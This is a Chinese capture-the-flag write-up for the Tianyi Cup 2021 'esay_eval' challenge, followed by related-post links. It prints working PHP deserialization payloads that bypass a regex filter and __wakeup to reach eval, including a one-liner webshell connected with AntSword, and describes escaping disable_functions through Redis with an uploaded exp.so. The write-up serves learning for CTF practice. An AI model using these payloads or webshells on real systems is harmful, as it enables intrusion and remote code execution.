[天翼杯 2021]esay_eval - RCE(disabled_function绕过||AS_Redis绕过)+反序列化(大小写&wakeup绕过)

[天翼杯 2021]esay_eval

  • [1 解题流程](#1 解题流程)
    • [1.1 分析](#1.1 分析)
    • [1.2 解题](#1.2 解题)
      • [1.2.1 一阶段](#1.2.1 一阶段)
      • [1.2.2 二阶段](#1.2.2 二阶段)
  • 二、思考总结

题目代码:

php 复制代码
<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }
}else{
    highlight_file(__FILE__);
} 

1 解题流程

1.1 分析

1、看代码,有unserialize函数,说明要反序列化

2、有 eval($this->code) ,说明要RCE

3、有preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);,说明要绕过waf

4、A的wakeup里面会把code置空,所以要绕过

起点:B(destruct)  终点:A(call)

链条:B(destruct::a=$a)-> A(call::code=命令)

1.2 解题

1.2.1 一阶段

  1. 构造序列化代码(根据waf,传输的内容不能带有大写AB,所以把代码都用小写ab表示)

    php 复制代码
    <?php
    class a{
        public $code = "phpinfo();";
    }
    class b{
        function __destruct(){
            echo $this->a->a();
        }
    }
    $a = new a();
    $b = new b();
    $b->a = $a;
    echo serialize($b);

    得到:O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

  2. 绕过wakeup

    得到:O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

  3. 传参得到

  4. 构造序列化代码(输出flag)

    php 复制代码
    	<?php
    	class a{
    	    public $code = "system('ls');";
    	}
    	class b{
    	    function __destruct(){
    	        echo $this->a->a();
    	    }
    	}
    	$a = new a();
    	$b = new b();
    	$b->a = $a;
    	echo serialize($b);
    	
    	得到:O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:13:"system('ls');";}}
    	改为:O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:13:"system('ls');";}}

    发现页面无法执行,说明肯定有限制了,不然不会不输出

  5. 查看disable_function

    原来是这里限制了,那么需要改变战略,直接上传个一句话试试

  6. 构造序列化代码(一句话)

    php 复制代码
    	<?php
    	class a{
    	    //public $code = '<?php @eval($_POST["pwd"]) ?>';
    	    public $code = '@eval($_POST["pwd"]);';
    	}
    	class b{
    	    function __destruct(){
    	        echo $this->a->a();
    	    }
    	}
    	$a = new a();
    	$b = new b();
    	$b->a = $a;
    	echo serialize($b);
    	
    	得到:O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:21:"@eval($_POST["pwd"]);";}}
    	改为:O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:21:"@eval($_POST["pwd"]);";}}

    蚁剑成功连接

1.2.2 二阶段

这里有两种不同的解法:

  1. disabled_function绕过
  2. AS_Redis绕过
    连接后查看config.php.swp,密码you_cannot_guess_it,同时上传exp.so
    使用redis插件连接,执行命令即可

二、思考总结

这道题目有个很有意思的地方,eval执行命令为什么不能显示?这个问题一开始给我搞蒙圈了,知道phpinfo可以执行的时候,突然想到我们不当当可以把phpinfo当做测试命令去看有没有回显,更可以去看phpinfo里面的配置,查看配置很可能就是解题的关键!

相关推荐
秋意钟2 分钟前
缓存雪崩、缓存穿透【Redis】
redis
简 洁 冬冬15 分钟前
046 购物车
redis·购物车
Koi慢热32 分钟前
路由基础(全)
linux·网络·网络协议·安全
soulteary44 分钟前
突破内存限制:Mac Mini M2 服务器化实践指南
运维·服务器·redis·macos·arm·pika
wkj0012 小时前
php操作redis
开发语言·redis·php
hzyyyyyyyu2 小时前
内网安全隧道搭建-ngrok-frp-nps-sapp
服务器·网络·安全
菠萝咕噜肉i2 小时前
超详细:Redis分布式锁
数据库·redis·分布式·缓存·分布式锁
网络研究院2 小时前
国土安全部发布关键基础设施安全人工智能框架
人工智能·安全·框架·关键基础设施
Daniel 大东4 小时前
BugJson因为json格式问题OOM怎么办
java·安全
登云时刻4 小时前
Kubernetes集群外连接redis集群和使用redis-shake工具迁移数据(二)
redis·容器·kubernetes